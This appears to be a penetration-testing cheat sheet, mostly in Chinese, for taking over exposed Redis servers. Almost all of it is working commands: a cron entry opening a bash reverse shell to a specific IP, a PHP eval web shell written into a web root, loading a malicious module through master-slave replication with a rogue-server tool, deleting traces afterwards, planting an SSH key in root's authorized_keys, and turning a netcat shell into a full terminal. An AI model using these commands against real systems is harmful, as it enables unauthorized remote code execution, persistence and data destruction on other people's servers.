cron
set 4a "\n\n*/1 * * * * bash -i >& /dev/tcp/120.79.51.115/91 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
webshell
#实际利用中查看当前数据库是否有缓存
dbsize
# 有缓存时切换到其他数据库,redis默认有16个数据库,尽量寻找没有缓存或缓存较少的数据库
select 15
# 若未发现有可利用数据库,根据情况决定是否需要使用此命令清除所有数据库
Flushall
# 开始利用
config set dir C:\phpstudy_pro\WWW
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>"
# \r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,在写入一些后门文件时自行分辨是否需要添加换行符,个别文件如果不换行可能会导致无法执行
save
主从复制
Redis 存在未授权访问或者暴破密码成功,最终连接Redis数据库成功的情况下,目标机和攻击机网络互通,并且redis版本范围为4.x、5.x,通过主从写入.so或者dll文件,从而使目标机执行so或dll文件中的命令执行函数。
利用过程
docker pull vertigo/redis4
docker run -p 6379:6379 vertigo/redis4
#利用工具
https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py --rhost=10.100.6.50(目标IP) --rport=6379 --lhost=10.100.4.189(本机IP)
#退出工具时 ctrl+c 会自动执行清理exp.so模块的命令
#工具中使用的命令
1.config set dir ./
2.config set dbfilename exp.so
3.slaveof X.X.X.115
4.slaveof X.X.X.115 21000 #上面看绑定的服务段端口是21000
5.module load ./exp.so
6.slaveof no one
7.system.exec 'whoami'
#清理痕迹
8.config set dbfilename dump.rdb
9.system.exec 'rm ./exp.so'
10.module unload system
write ssh public key
#攻击机生成ssh密钥
ssh-keygen -t rsa
cat /home/root/.ssh/id_rsa.pub
#生成带有换行符的密钥并传入Redis
(echo -e "\n\n"; cat /Users/sven/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | ./redis-cli -h 192.168.0.104 -x set xxx
#设置目录
config set dir /root/.ssh/
#设置文件名
set dbfilename authorized_keys
#保存
save
#连接目标服务器
ssh -i /Users/sven/.ssh/id_rsa root@192.168.0.104
Shell optimization
bash-4.4# python3 -c 'import pty;pty.spawn("/bin/bash")'
bash-4.4# ^Z
[1]+ Stopped nc -lv 91
[root@hosts]# stty -a ;stty raw -echo ;fg
bash-4.4# stty rows 49 columns 186
bash-4.4# export TERM=xterm
bash-4.4#